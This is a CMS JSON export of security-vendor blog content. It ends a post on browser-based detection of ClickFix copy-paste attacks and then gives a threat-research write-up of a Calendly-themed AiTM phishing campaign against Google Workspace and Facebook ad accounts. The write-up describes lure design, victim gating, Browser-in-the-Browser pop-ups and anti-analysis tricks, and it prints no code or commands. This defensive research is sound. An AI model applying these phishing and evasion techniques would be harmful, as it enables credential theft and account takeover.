now relying solely on blocking known-bad sites and hosts — a wildly ineffective solution in 2025 with the rate that attackers refresh and rotate their phishing infrastructure. ",{"data":64942,"content":64943,"nodeType":860},{},[64944],{"data":64945,"marks":64946,"value":64947,"nodeType":864},{},[],"In addition to the fact that ClickFix page styles and content can vary significantly, this means that detecting ClickFix delivery using traditional tooling is highly unreliable. ",{"data":64949,"content":64950,"nodeType":1312},{},[64951],{"data":64952,"marks":64953,"value":64955,"nodeType":864},{},[64954],{"type":899},"Detection challenges during execution",{"data":64957,"content":64958,"nodeType":860},{},[64959],{"data":64960,"marks":64961,"value":64962,"nodeType":864},{},[],"Most of the detection heavy lifting is being done at the endpoint, looking for user-level code execution and malware running on a device. ",{"data":64964,"content":64965,"nodeType":860},{},[64966],{"data":64967,"marks":64968,"value":64969,"nodeType":864},{},[],"However, the number of ClickFix-related headlines in the news would indicate that endpoint controls are being routinely bypassed, or perhaps evaded altogether by targeting personal or BYOD devices. ",{"data":64971,"content":64975,"nodeType":996},{"target":64972},{"sys":64973},{"id":64974,"type":1001,"linkType":1002},"pocty4OhER5EXr8BDwdzo",[],{"data":64977,"content":64978,"nodeType":860},{},[64979],{"data":64980,"marks":64981,"value":64982,"nodeType":864},{},[],"There are a number of reasons that endpoint-level ClickFix detections can be bypassed:",{"data":64984,"content":64985,"nodeType":941},{},[64986,64996,65006],{"data":64987,"content":64988,"nodeType":945},{},[64989],{"data":64990,"content":64991,"nodeType":860},{},[64992],{"data":64993,"marks":64994,"value":64995,"nodeType":864},{},[],"The step of downloading a file from the web is bypassed altogether. In a ClickFix/FileFix attack, the initial “dropper” is essentially a command string provided by the attacker and executed by legitimate system utilities. There is often no new executable file written to disk when the user runs the command. The final payload may be loaded directly into memory or injected into trusted programs (using living-off-the-land techniques). Without a file to quarantine, there's no \"Mark of the Web\" to make it appear suspicious. ",{"data":64997,"content":64998,"nodeType":945},{},[64999],{"data":65000,"content":65001,"nodeType":860},{},[65002],{"data":65003,"marks":65004,"value":65005,"nodeType":864},{},[],"From the EDR’s point of view, a trusted parent process is launching a script – which might not immediately be judged as malicious, especially if the command is obfuscated or uses allowed system functions. Since the action is initiated by the user, it blends in with normal user-driven administration tasks. ",{"data":65007,"content":65008,"nodeType":945},{},[65009],{"data":65010,"content":65011,"nodeType":860},{},[65012],{"data":65013,"marks":65014,"value":65015,"nodeType":864},{},[],"The PowerShell commands themselves might be obfuscated or broken into stages to avoid easy detection by heuristic rules. EDR telemetry might record that a PowerShell process ran, but without a known bad signature or a clear policy violation, it may not flag it immediately. ",{"data":65017,"content":65021,"nodeType":996},{"target":65018},{"sys":65019},{"id":65020,"type":1001,"linkType":1002},"6djGsqBFTHlLLITpTK7IMk",[],{"data":65023,"content":65024,"nodeType":1312},{},[65025],{"data":65026,"marks":65027,"value":65029,"nodeType":864},{},[65028],{"type":899},"Accessing ClickFix-style capabilities is easier than ever",{"data":65031,"content":65032,"nodeType":860},{},[65033,65037,65045],{"data":65034,"marks":65035,"value":65036,"nodeType":864},{},[],"This capability is increasingly available to all levels of threat actor, with ",{"data":65038,"content":65039,"nodeType":883},{"uri":64673},[65040],{"data":65041,"marks":65042,"value":65044,"nodeType":864},{},[65043],{"type":1455},"off-the-shelf options available",{"data":65046,"marks":65047,"value":65048,"nodeType":864},{},[]," in the form of ClickFix builders (also called “Win + R”) on popular hacker forums since late 2024. ",{"data":65050,"content":65051,"nodeType":860},{},[65052],{"data":65053,"marks":65054,"value":65055,"nodeType":864},{},[],"Attackers are bundling ClickFix builders into their existing kits to:",{"data":65057,"content":65058,"nodeType":941},{},[65059,65069],{"data":65060,"content":65061,"nodeType":945},{},[65062],{"data":65063,"content":65064,"nodeType":860},{},[65065],{"data":65066,"marks":65067,"value":65068,"nodeType":864},{},[],"Use pre-canned landing pages with various lures including Cloudflare. ",{"data":65070,"content":65071,"nodeType":945},{},[65072],{"data":65073,"content":65074,"nodeType":860},{},[65075],{"data":65076,"marks":65077,"value":65078,"nodeType":864},{},[],"Offer construction of malicious commands that users will paste into the Windows Run dialog. ",{"data":65080,"content":65081,"nodeType":860},{},[65082],{"data":65083,"marks":65084,"value":65085,"nodeType":864},{},[],"These kits claim to guarantee antivirus and web protection bypass (some even promise that they can bypass Microsoft Defender SmartScreen), as well as payload persistence. The cost of subscription to such a service might be between US$200 to US$1,500 per month. ",{"data":65087,"content":65088,"nodeType":860},{},[65089],{"data":65090,"marks":65091,"value":65092,"nodeType":864},{},[],"In short, these capabilities are increasingly accessible to the general population of hackers, and it is increasingly in the interests of malware developers to offer premium hacker tools designed to bypass current detections. ",{"data":65094,"content":65098,"nodeType":996},{"target":65095},{"sys":65096},{"id":65097,"type":1001,"linkType":1002},"5hkRsOBZCOABAShCo8RjJg",[],{"data":65100,"content":65101,"nodeType":860},{},[65102],{"data":65103,"marks":65104,"value":65105,"nodeType":864},{},[],"In any case, relying on just-in-time detection at the point of execution is increasingly unreliable and will always be at the mercy of the cat-and-mouse game between attackers and defenders. Organizations employing custom detections looking for specific malware behavior are likely to have better success than those relying on out-of-the-box EDR configs, but this requires continual maintenance to be effective. ",{"data":65107,"content":65108,"nodeType":1005},{},[],{"data":65110,"content":65111,"nodeType":1009},{},[65112],{"data":65113,"marks":65114,"value":65116,"nodeType":864},{},[65115],{"type":899},"Solving ClickFix detection in the browser with Push",{"data":65118,"content":65119,"nodeType":860},{},[65120,65123,65127],{"data":65121,"marks":65122,"value":64772,"nodeType":864},{},[],{"data":65124,"marks":65125,"value":64551,"nodeType":864},{},[65126],{"type":899},{"data":65128,"marks":65129,"value":65130,"nodeType":864},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection and blocking, with a universally effective control that works regardless of the lure delivery channel, page style and structure, or the specifics of the malware type and execution.",{"data":65132,"content":65133,"nodeType":860},{},[65134,65138,65147],{"data":65135,"marks":65136,"value":65137,"nodeType":864},{},[],"A key part of our design philosophy is to find ways to universally detect attacker TTPs by analyzing generic attacker actions that can’t be avoided by the attacker. One of our best prior examples of this is with our ",{"data":65139,"content":65141,"nodeType":883},{"uri":65140},"https://pushsecurity.com/blog/introducing-sso-password-protection/",[65142],{"data":65143,"marks":65144,"value":65146,"nodeType":864},{},[65145],{"type":1455},"password protection feature",{"data":65148,"marks":65149,"value":65150,"nodeType":864},{},[],", which detects and blocks phishing attacks by triggering when a user attempts to enter a password that belongs to one domain on a different domain. ",{"data":65152,"content":65153,"nodeType":860},{},[65154],{"data":65155,"marks":65156,"value":65157,"nodeType":864},{},[],"In the case of ClickFix, every attack involves copying a malicious script from a page — a behavior the attacker can’t avoid.",{"data":65159,"content":65160,"nodeType":860},{},[65161],{"data":65162,"marks":65163,"value":65164,"nodeType":864},{},[],"Unlike heavy-handed DLP solutions that block copy-paste altogether, Push protects your employees without disrupting their user experience or hampering productivity. ",{"data":65166,"content":65167,"nodeType":860},{},[65168],{"data":65169,"marks":65170,"value":65171,"nodeType":864},{},[],"Check out the video below to see Push in action. ",{"data":65173,"content":65176,"nodeType":996},{"target":65174},{"sys":65175},{"id":64574,"type":1001,"linkType":1002},[],{"data":65178,"content":65179,"nodeType":1312},{},[65180],{"data":65181,"marks":65182,"value":65184,"nodeType":864},{},[65183],{"type":899},"Enable ClickFix detection in just a few clicks",{"data":65186,"content":65187,"nodeType":860},{},[65188,65192,65200],{"data":65189,"marks":65190,"value":65191,"nodeType":864},{},[],"Check out the ",{"data":65193,"content":65195,"nodeType":883},{"uri":65194},"https://pushsecurity.com/help/10141/#start",[65196],{"data":65197,"marks":65198,"value":65199,"nodeType":864},{},[],"help article",{"data":65201,"marks":65202,"value":65203,"nodeType":864},{},[]," for step-by-step instructions on how to enable the control. ",{"data":65205,"content":65206,"nodeType":1005},{},[],{"data":65208,"content":65209,"nodeType":1009},{},[65210],{"data":65211,"marks":65212,"value":3578,"nodeType":864},{},[65213],{"type":899},{"data":65215,"content":65216,"nodeType":860},{},[65217],{"data":65218,"marks":65219,"value":65220,"nodeType":864},{},[],"Push provides last mile protection against browser-based attacks, adding a net-new layer of technical protection in the browser. ",{"data":65222,"content":65223,"nodeType":860},{},[65224],{"data":65225,"marks":65226,"value":65227,"nodeType":864},{},[],"Right now, most organizations are left relying on user awareness. Faced with increasingly novel attack types, encountered all over the internet, users are being caught unawares — further reducing the efficacy of an already fragile control. ",{"data":65229,"content":65230,"nodeType":860},{},[65231],{"data":65232,"marks":65233,"value":65234,"nodeType":864},{},[],"By seeing what the user sees in the browser, as they see it, as well as monitoring for risky behaviors, Push provides a strong backstop against an ever-expanding landscape of browser-based exploits. ",{"data":65236,"content":65237,"nodeType":860},{},[65238],{"data":65239,"marks":65240,"value":65241,"nodeType":864},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, ClickFixing, malicious browser extensions, and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":65243,"content":65244,"nodeType":860},{},[65245,65248,65255,65258,65265],{"data":65246,"marks":65247,"value":31569,"nodeType":864},{},[],{"data":65249,"content":65250,"nodeType":883},{"uri":25603},[65251],{"data":65252,"marks":65253,"value":25609,"nodeType":864},{},[65254],{"type":1455},{"data":65256,"marks":65257,"value":56270,"nodeType":864},{},[],{"data":65259,"content":65260,"nodeType":883},{"uri":1700},[65261],{"data":65262,"marks":65263,"value":25633,"nodeType":864},{},[65264],{"type":1455},{"data":65266,"marks":65267,"value":2924,"nodeType":864},{},[],{"data":65269,"content":65272,"nodeType":996},{"target":65270},{"sys":65271},{"id":65020,"type":1001,"linkType":1002},[],{"data":65274,"content":65275,"nodeType":860},{},[65276],{"data":65277,"marks":65278,"value":21,"nodeType":864},{},[],"Introducing malicious copy and paste detection","Push now detects malware delivery in the browser, supporting a layered defense against endpoint attacks. ","2025-10-09T00:00:00.000Z","introducing-malicious-copy-paste-detection",{"items":65284},[65285,65287],{"sys":65286,"name":342},{"id":6596},{"sys":65288,"name":6593},{"id":6592},{"items":65290},[65291],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":65292},{"url":2740},"blog/installfix",{"json":65295},{"data":65296,"content":65297,"nodeType":856},{},[65298],{"data":65299,"content":65300,"nodeType":860},{},[65301],{"data":65302,"marks":65303,"value":65304,"nodeType":864},{},[],"Attackers are distributing almost identical cloned sites of popular developer tools like Claude Code with fake install instructions via malicious search engine ads — tricking victims into installing infostealer malware instead. ",{"id":18395,"publishedAt":65306},"2026-08-12T13:28:02.181Z",{"items":65308},[65309,65311],{"sys":65310,"name":6593},{"id":6592},{"sys":65312,"name":342},{"id":6596},{"items":65314},[65315,65317,65319,65321,65323,65325,65327,65329,65331,65333,65335,65337],{"sys":65316,"name":279,"slug":280,"tier":31},{"id":276},{"sys":65318,"name":519,"slug":520,"tier":31},{"id":516},{"sys":65320,"name":342,"slug":343,"tier":31},{"id":339},{"sys":65322,"name":642,"slug":643,"tier":31},{"id":639},{"sys":65324,"name":315,"slug":316,"tier":45},{"id":312},{"sys":65326,"name":440,"slug":441,"tier":45},{"id":437},{"sys":65328,"name":607,"slug":608,"tier":45},{"id":604},{"sys":65330,"name":448,"slug":449,"tier":45},{"id":445},{"sys":65332,"name":422,"slug":423,"tier":45},{"id":419},{"sys":65334,"name":431,"slug":432,"tier":45},{"id":428},{"sys":65336,"name":475,"slug":476,"tier":45},{"id":472},{"sys":65338,"name":244,"slug":245,"tier":45},{"id":241},"bhqwswrCKY8XUOeyfqgrT_bbdwMvlm25CtqySFe4ADE",{"id":65341,"title":50842,"authorsCollection":65342,"content":65347,"extension":228,"faqItemsCollection":66107,"faqTitle":59,"featured":6,"hashTags":59,"meta":66109,"metaTitle":66110,"ogImage":59,"postType":5740,"publishedDate":66111,"relatedBlogPostsCollection":66112,"slug":50843,"stem":67891,"subtitle":59,"summary":67892,"synopsis":67903,"sys":67904,"tagsCollection":67906,"topicsCollection":67912,"__hash__":67944},"blog/blog/uncovering-a-calendly-themed-phishing-campaign.json",{"items":65343},[65344],{"fullName":4949,"firstName":4950,"jobTitle":4951,"socialLinks":65345,"profilePicture":65346},[4953],{"url":4955},{"json":65348,"links":65927},{"data":65349,"content":65350,"nodeType":856},{},[65351,65358,65365,65372,65378,65385,65388,65396,65403,65410,65417,65423,65430,65436,65443,65449,65456,65462,65492,65499,65505,65512,65518,65525,65531,65538,65581,65584,65592,65599,65606,65613,65619,65622,65630,65637,65657,65663,65669,65675,65682,65688,65694,65714,65717,65725,65744,65750,65757,65775,65783,65790,65797,65804,65822,65830,65837,65843,65846,65853,65860,65867,65870,65877,65884,65890,65916,65921],{"data":65352,"content":65353,"nodeType":860},{},[65354],{"data":65355,"marks":65356,"value":65357,"nodeType":864},{},[],"We recently investigated a sophisticated phishing campaign targeting Google Workspace and Facebook Business accounts with Calendly-themed phishing lures, based around a fake job opportunity. ",{"data":65359,"content":65360,"nodeType":860},{},[65361],{"data":65362,"marks":65363,"value":65364,"nodeType":864},{},[],"We were first alerted to the campaign when a Push customer was hit with a highly targeted email-based attack, where the attacker used an Attacker-in-the-Middle (AiTM) phishing toolkit to target the customer’s Google Workspace account. ",{"data":65366,"content":65367,"nodeType":860},{},[65368],{"data":65369,"marks":65370,"value":65371,"nodeType":864},{},[],"In this case, Google was the customer’s primary enterprise IdP account, used to access native Google suite apps as well as SSO to downstream apps — effectively, the front door to their business IT stack. Despite this, the attacker’s MO was specifically the takeover of accounts used for the management of digital ads. ",{"data":65373,"content":65377,"nodeType":996},{"target":65374},{"sys":65375},{"id":65376,"type":1001,"linkType":1002},"5oivBCf1Fqvnq0GNCSko8f",[],{"data":65379,"content":65380,"nodeType":860},{},[65381],{"data":65382,"marks":65383,"value":65384,"nodeType":864},{},[],"In this blog post, we break down the various TTPs used by the attacker across the campaign, and consider why ad management platforms are being specifically targeted.  ",{"data":65386,"content":65387,"nodeType":1005},{},[],{"data":65389,"content":65390,"nodeType":1009},{},[65391],{"data":65392,"marks":65393,"value":65395,"nodeType":864},{},[65394],{"type":899},"Variant 1: Targeting Google Workspace with a sophisticated email phish ",{"data":65397,"content":65398,"nodeType":860},{},[65399],{"data":65400,"marks":65401,"value":65402,"nodeType":864},{},[],"The first phishing variant we analyzed began with a multi-stage phishing email lure, framed as a job opportunity for LVMH (Louis Vuitton Moët Hennessy), which oversees more than 75 brands across sectors like fashion, cosmetics, watches, and spirits. The specific delivery address is impersonating “Inside LVMH”, the talent acquisition and training arm of LVMH.  ",{"data":65404,"content":65405,"nodeType":860},{},[65406],{"data":65407,"marks":65408,"value":65409,"nodeType":864},{},[],"This lure is notable for multiple reasons. It is highly targeted, well-written, populated with information from the victim, and coming from what appears to be a legitimate employee of LVMH. Even if the victim was initially suspicious, searching for the recruiter’s name would appear to confirm their identity.  ",{"data":65411,"content":65412,"nodeType":860},{},[65413],{"data":65414,"marks":65415,"value":65416,"nodeType":864},{},[],"It is possible, even likely, that this interaction was operated using AI, using information scraped from the internet — but in any case, the outcome achieved is highly convincing. ",{"data":65418,"content":65422,"nodeType":996},{"target":65419},{"sys":65420},{"id":65421,"type":1001,"linkType":1002},"46BYpquURERbkhWc6C2Lpc",[],{"data":65424,"content":65425,"nodeType":860},{},[65426],{"data":65427,"marks":65428,"value":65429,"nodeType":864},{},[],"Only after the victim has responded to an initial email was the phishing link delivered under the guise of a Calendly link to book time for a call. ",{"data":65431,"content":65435,"nodeType":996},{"target":65432},{"sys":65433},{"id":65434,"type":1001,"linkType":1002},"37GBkfXGEdWvdQbMq65sad",[],{"data":65437,"content":65438,"nodeType":860},{},[65439],{"data":65440,"marks":65441,"value":65442,"nodeType":864},{},[],"Clicking the link takes the victim to an authentic-looking page impersonating a Calendly landing page.",{"data":65444,"content":65448,"nodeType":996},{"target":65445},{"sys":65446},{"id":65447,"type":1001,"linkType":1002},"1DwOPzK7mxsoJlEBp8cMpr",[],{"data":65450,"content":65451,"nodeType":860},{},[65452],{"data":65453,"marks":65454,"value":65455,"nodeType":864},{},[],"After completing the CAPTCHA check and selecting \"Continue with Google” the victim is redirected to an AiTM phishing page designed to capture Google Workspace credentials, with specific branding impersonating Calendly — making this visually distinct from most common Google-themed phishing pages. ",{"data":65457,"content":65461,"nodeType":996},{"target":65458},{"sys":65459},{"id":65460,"type":1001,"linkType":1002},"u1SY1uUX23sxfBYLpyaKb",[],{"data":65463,"content":65464,"nodeType":860},{},[65465,65469,65477,65481,65488],{"data":65466,"marks":65467,"value":65468,"nodeType":864},{},[],"This page uses ",{"data":65470,"content":65471,"nodeType":883},{"uri":57802},[65472],{"data":65473,"marks":65474,"value":65476,"nodeType":864},{},[65475],{"type":1455},"specific targeting parameters",{"data":65478,"marks":65479,"value":65480,"nodeType":864},{},[]," to ensure that only the intended recipient is able to access the page’s malicious functionality — a well-known ",{"data":65482,"content":65483,"nodeType":883},{"uri":7124},[65484],{"data":65485,"marks":65486,"value":7129,"nodeType":864},{},[65487],{"type":1455},{"data":65489,"marks":65490,"value":65491,"nodeType":864},{},[]," to prevent security analysts from being able to fully analyse the page (as malicious elements are not rendered until this check is completed). ",{"data":65493,"content":65494,"nodeType":860},{},[65495],{"data":65496,"marks":65497,"value":65498,"nodeType":864},{},[],"As you can see in the example below, attempts to use any email other than the intended victim’s email domain are blocked.   ",{"data":65500,"content":65504,"nodeType":996},{"target":65501},{"sys":65502},{"id":65503,"type":1001,"linkType":1002},"5m8LvVYjXz0zrITgTWqxio",[],{"data":65506,"content":65507,"nodeType":860},{},[65508],{"data":65509,"marks":65510,"value":65511,"nodeType":864},{},[],"Only entering an allowed email domain loads the password entry field. ",{"data":65513,"content":65517,"nodeType":996},{"target":65514},{"sys":65515},{"id":65516,"type":1001,"linkType":1002},"6KFRJSsgk2pB6x67kWdpws",[],{"data":65519,"content":65520,"nodeType":860},{},[65521],{"data":65522,"marks":65523,"value":65524,"nodeType":864},{},[],"We identified a number of pages that appear to be part of the same campaign. All these pages have the same visual style, Calendly-themed lure targeting Google Workspace accounts, and appear to match real employees of the respective companies being impersonated. ",{"data":65526,"content":65530,"nodeType":996},{"target":65527},{"sys":65528},{"id":65529,"type":1001,"linkType":1002},"zMkN1U5QlvIEcfOGmhBBf",[],{"data":65532,"content":65533,"nodeType":860},{},[65534],{"data":65535,"marks":65536,"value":65537,"nodeType":864},{},[],"The different pages include:",{"data":65539,"content":65540,"nodeType":941},{},[65541,65551,65561,65571],{"data":65542,"content":65543,"nodeType":945},{},[65544],{"data":65545,"content":65546,"nodeType":860},{},[65547],{"data":65548,"marks":65549,"value":65550,"nodeType":864},{},[],"A different visual match for the LVMH page.",{"data":65552,"content":65553,"nodeType":945},{},[65554],{"data":65555,"content":65556,"nodeType":860},{},[65557],{"data":65558,"marks":65559,"value":65560,"nodeType":864},{},[],"A Lego recruitment themed page.",{"data":65562,"content":65563,"nodeType":945},{},[65564],{"data":65565,"content":65566,"nodeType":860},{},[65567],{"data":65568,"marks":65569,"value":65570,"nodeType":864},{},[],"A Mastercard HR themed page.",{"data":65572,"content":65573,"nodeType":945},{},[65574],{"data":65575,"content":65576,"nodeType":860},{},[65577],{"data":65578,"marks":65579,"value":65580,"nodeType":864},{},[],"An Uber recruitment themed page.",{"data":65582,"content":65583,"nodeType":1005},{},[],{"data":65585,"content":65586,"nodeType":1009},{},[65587],{"data":65588,"marks":65589,"value":65591,"nodeType":864},{},[65590],{"type":899},"Variant 2: Targeting Facebook Business accounts",{"data":65593,"content":65594,"nodeType":860},{},[65595],{"data":65596,"marks":65597,"value":65598,"nodeType":864},{},[],"Upon further investigation, we found links to a second phishing page style that appears to be part of a longer campaign targeting Facebook accounts, dating back more than two years. ",{"data":65600,"content":65601,"nodeType":860},{},[65602],{"data":65603,"marks":65604,"value":65605,"nodeType":864},{},[],"In total, we identified 31 unique URLs associated with the same campaign, many of which were recycled over time to impersonate different brands. ",{"data":65607,"content":65608,"nodeType":860},{},[65609],{"data":65610,"marks":65611,"value":65612,"nodeType":864},{},[],"Since most of these pages appeared to be older (and no longer live) they could not be analysed further, beyond giving an indication of how the phishing campaign has evolved over time. ",{"data":65614,"content":65618,"nodeType":996},{"target":65615},{"sys":65616},{"id":65617,"type":1001,"linkType":1002},"5PFRI9XtNVdkpYiRoIYpF",[],{"data":65620,"content":65621,"nodeType":1005},{},[],{"data":65623,"content":65624,"nodeType":1009},{},[65625],{"data":65626,"marks":65627,"value":65629,"nodeType":864},{},[65628],{"type":899},"Variant 3: Targeting both Google and Facebook accounts",{"data":65631,"content":65632,"nodeType":860},{},[65633],{"data":65634,"marks":65635,"value":65636,"nodeType":864},{},[],"We also discovered a third, more recent variant targeting both Google and Facebook accounts with Calendly-styled pages.",{"data":65638,"content":65639,"nodeType":860},{},[65640,65644,65653],{"data":65641,"marks":65642,"value":65643,"nodeType":864},{},[],"This variant looks to leverage a Browser-in-the-Browser style pop-up window similar to the ",{"data":65645,"content":65647,"nodeType":883},{"uri":65646},"https://pushsecurity.com/blog/analyzing-the-latest-sneaky2fa-phishing-page/",[65648],{"data":65649,"marks":65650,"value":65652,"nodeType":864},{},[65651],{"type":1455},"Sneaky2FA attacks we reported on recently",{"data":65654,"marks":65655,"value":65656,"nodeType":864},{},[],". BITB allows the attacker to mask the phishing page URL by presenting a fake URL set by the attacker, inside a pop-up login window. ",{"data":65658,"content":65662,"nodeType":996},{"target":65659},{"sys":65660},{"id":65661,"type":1001,"linkType":1002},"7w4cmyqPvhxAFrokaK9CE1",[],{"data":65664,"content":65668,"nodeType":996},{"target":65665},{"sys":65666},{"id":65667,"type":1001,"linkType":1002},"6FUSNecz0BXLxJxoJTsALD",[],{"data":65670,"content":65674,"nodeType":996},{"target":65671},{"sys":65672},{"id":65673,"type":1001,"linkType":1002},"2zwFDrgsLuxi4Xv2q0nPFK",[],{"data":65676,"content":65677,"nodeType":860},{},[65678],{"data":65679,"marks":65680,"value":65681,"nodeType":864},{},[],"The attacker also implemented additional anti-analysis functionality, beyond the specific domain targeting we observed in the first page variant — the result of which meant the page IP blocked us from interacting with it further. ",{"data":65683,"content":65687,"nodeType":996},{"target":65684},{"sys":65685},{"id":65686,"type":1001,"linkType":1002},"3ZPdxi5cGZcn5hF1ISIUa7",[],{"data":65689,"content":65693,"nodeType":996},{"target":65690},{"sys":65691},{"id":65692,"type":1001,"linkType":1002},"3J5pmgNL9LevE1FdX4oksf",[],{"data":65695,"content":65696,"nodeType":860},{},[65697,65701,65710],{"data":65698,"marks":65699,"value":65700,"nodeType":864},{},[],"Often ",{"data":65702,"content":65704,"nodeType":883},{"uri":65703},"https://phishing-techniques.pushsecurity.com/techniques/anti-sandbox/",[65705],{"data":65706,"marks":65707,"value":65709,"nodeType":864},{},[65708],{"type":1455},"accessing dev tools",{"data":65711,"marks":65712,"value":65713,"nodeType":864},{},[]," on a page is enough to trigger this, specifically targeting security analysts and web-crawling security bots/tools. ",{"data":65715,"content":65716,"nodeType":1005},{},[],{"data":65718,"content":65719,"nodeType":1009},{},[65720],{"data":65721,"marks":65722,"value":65724,"nodeType":864},{},[65723],{"type":899},"Why are attackers targeting business ad management accounts?",{"data":65726,"content":65727,"nodeType":860},{},[65728,65732,65740],{"data":65729,"marks":65730,"value":65731,"nodeType":864},{},[],"The campaign shows signs of being a long-running, targeted initiative focused on compromising accounts responsible for managing digital ads on behalf of businesses. The attackers have demonstrated that they are continuing to iterate on their TTPs, introducing new page styles with increased sophistication, and new ",{"data":65733,"content":65735,"nodeType":883},{"uri":65734},"https://phishing-techniques.pushsecurity.com/#techniques-table",[65736],{"data":65737,"marks":65738,"value":29066,"nodeType":864},{},[65739],{"type":1455},{"data":65741,"marks":65742,"value":65743,"nodeType":864},{},[]," to defeat security analysis tools.  ",{"data":65745,"content":65749,"nodeType":996},{"target":65746},{"sys":65747},{"id":65748,"type":1001,"linkType":1002},"m5GsTsDb55T70MU2m72B1",[],{"data":65751,"content":65752,"nodeType":860},{},[65753],{"data":65754,"marks":65755,"value":65756,"nodeType":864},{},[],"We also discovered that Google recently issued a security warning specifically for agency organizations managing ads for a number of businesses, urging them to create security alerts whenever a new account is added to a Manager Account (MCC) used to view and manage multiple Google Ads accounts from a single view. ",{"data":65758,"content":65759,"nodeType":860},{},[65760,65764,65771],{"data":65761,"marks":65762,"value":65763,"nodeType":864},{},[],"With malvertising on the rise as an increasingly popular attack vector for the delivery of AITM phishing, malware downloads, and ",{"data":65765,"content":65766,"nodeType":883},{"uri":36457},[65767],{"data":65768,"marks":65769,"value":315,"nodeType":864},{},[65770],{"type":1455},{"data":65772,"marks":65773,"value":65774,"nodeType":864},{},[]," (4 in 5 ClickFix attacks intercepted by Push were delivered via Google Search), it makes sense that attackers are looking to increase their web of accounts from which to launch malicious ads. ",{"data":65776,"content":65777,"nodeType":1312},{},[65778],{"data":65779,"marks":65780,"value":65782,"nodeType":864},{},[65781],{"type":899},"Why are attackers turning to malvertising?",{"data":65784,"content":65785,"nodeType":860},{},[65786],{"data":65787,"marks":65788,"value":65789,"nodeType":864},{},[],"Malvertising attacks delivered over search engines (e.g. Google Search) and social media apps (Facebook, LinkedIn, etc.) are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. ",{"data":65791,"content":65792,"nodeType":860},{},[65793],{"data":65794,"marks":65795,"value":65796,"nodeType":864},{},[],"The flipside of this is that malvertising attacks are less likely to be targeted than phishing delivered directly to the victim via a direct message (i.e. email, social media DM, instant messenger app, SMS, etc.). ",{"data":65798,"content":65799,"nodeType":860},{},[65800],{"data":65801,"marks":65802,"value":65803,"nodeType":864},{},[],"However, that isn’t to say that malvertising attacks can’t be targeted. For example, Google Ads can be targeted to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Even more precise ad targeting can be achieved on social media platforms. ",{"data":65805,"content":65806,"nodeType":860},{},[65807,65811,65818],{"data":65808,"marks":65809,"value":65810,"nodeType":864},{},[],"Malvertising is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":65812,"content":65813,"nodeType":883},{"uri":6237},[65814],{"data":65815,"marks":65816,"value":6242,"nodeType":864},{},[65817],{"type":1455},{"data":65819,"marks":65820,"value":65821,"nodeType":864},{},[],"” criminal collective, all of which began with identity-based initial access). For this reason, credentials and access are an increasingly profitable commodity for cyber criminals. ",{"data":65823,"content":65824,"nodeType":1312},{},[65825],{"data":65826,"marks":65827,"value":65829,"nodeType":864},{},[65828],{"type":899},"Additional considerations",{"data":65831,"content":65832,"nodeType":860},{},[65833],{"data":65834,"marks":65835,"value":65836,"nodeType":864},{},[],"As previously mentioned, compromising a Google Workspace account (particularly where it is the primary enterprise cloud platform used by the organization) provides comprehensive access to business apps, data, and functionality that can be exploited by attackers — effectively, it’s the access point to modern business IT. There’s a good chance that attackers establishing a foothold in this way would look to leverage this access further, or at least sell on that access to a criminal group looking to take the attack further. ",{"data":65838,"content":65842,"nodeType":996},{"target":65839},{"sys":65840},{"id":65841,"type":1001,"linkType":1002},"7jnQqRk0JuqEtrQ3HXy3f8",[],{"data":65844,"content":65845,"nodeType":1005},{},[],{"data":65847,"content":65848,"nodeType":1009},{},[65849],{"data":65850,"marks":65851,"value":5571,"nodeType":864},{},[65852],{"type":899},{"data":65854,"content":65855,"nodeType":860},{},[65856],{"data":65857,"marks":65858,"value":65859,"nodeType":864},{},[],"We have opted not to provide the domains associated with that campaign to preserve the privacy of the individuals being impersonated by the attacker. In many cases, their full name was included in the URL for the phishing page, while their name and profile picture (most likely scraped from LinkedIn) are also visible on the landing page. ",{"data":65861,"content":65862,"nodeType":860},{},[65863],{"data":65864,"marks":65865,"value":65866,"nodeType":864},{},[],"However, with the rate at which these domains were spun up and subsequently taken down (by the attacker or the site hosting the links) IoC-based detections for campaigns such as this are of limited value. ",{"data":65868,"content":65869,"nodeType":1005},{},[],{"data":65871,"content":65872,"nodeType":1009},{},[65873],{"data":65874,"marks":65875,"value":3578,"nodeType":864},{},[65876],{"type":899},{"data":65878,"content":65879,"nodeType":860},{},[65880],{"data":65881,"marks":65882,"value":65883,"nodeType":864},{},[],"Push researchers are continuously analysing and developing new detections based on the latest phishing kits and TTPs which enables us to stay two steps ahead of attackers.",{"data":65885,"content":65886,"nodeType":860},{},[65887],{"data":65888,"marks":65889,"value":56253,"nodeType":864},{},[],{"data":65891,"content":65892,"nodeType":860},{},[65893,65896,65903,65906,65913],{"data":65894,"marks":65895,"value":31569,"nodeType":864},{},[],{"data":65897,"content":65898,"nodeType":883},{"uri":25603},[65899],{"data":65900,"marks":65901,"value":25609,"nodeType":864},{},[65902],{"type":1455},{"data":65904,"marks":65905,"value":56270,"nodeType":864},{},[],{"data":65907,"content":65908,"nodeType":883},{"uri":1700},[65909],{"data":65910,"marks":65911,"value":25633,"nodeType":864},{},[65912],{"type":1455},{"data":65914,"marks":65915,"value":2924,"nodeType":864},{},[],{"data":65917,"content":65920,"nodeType":996},{"target":65918},{"sys":65919},{"id":58533,"type":1001,"linkType":1002},[],{"data":65922,"content":65923,"nodeType":860},{},[65924],{"data":65925,"marks":65926,"value":21,"nodeType":864},{},[],{"entries":65928},{"hyperlink":65929,"inline":65930,"block":65931},[],[],[65932,65951,65958,65972,65979,65986,65991,65996,66002,66008,66015,66021,66027,66032,66037,66076,66103],{"sys":65933,"__typename":1740,"content":65934,"name":65950,"title":59},{"id":65376},{"json":65935},{"data":65936,"content":65937,"nodeType":856},{},[65938],{"data":65939,"content":65940,"nodeType":860},{},[65941,65946],{"data":65942,"marks":65943,"value":65945,"nodeType":864},{},[65944],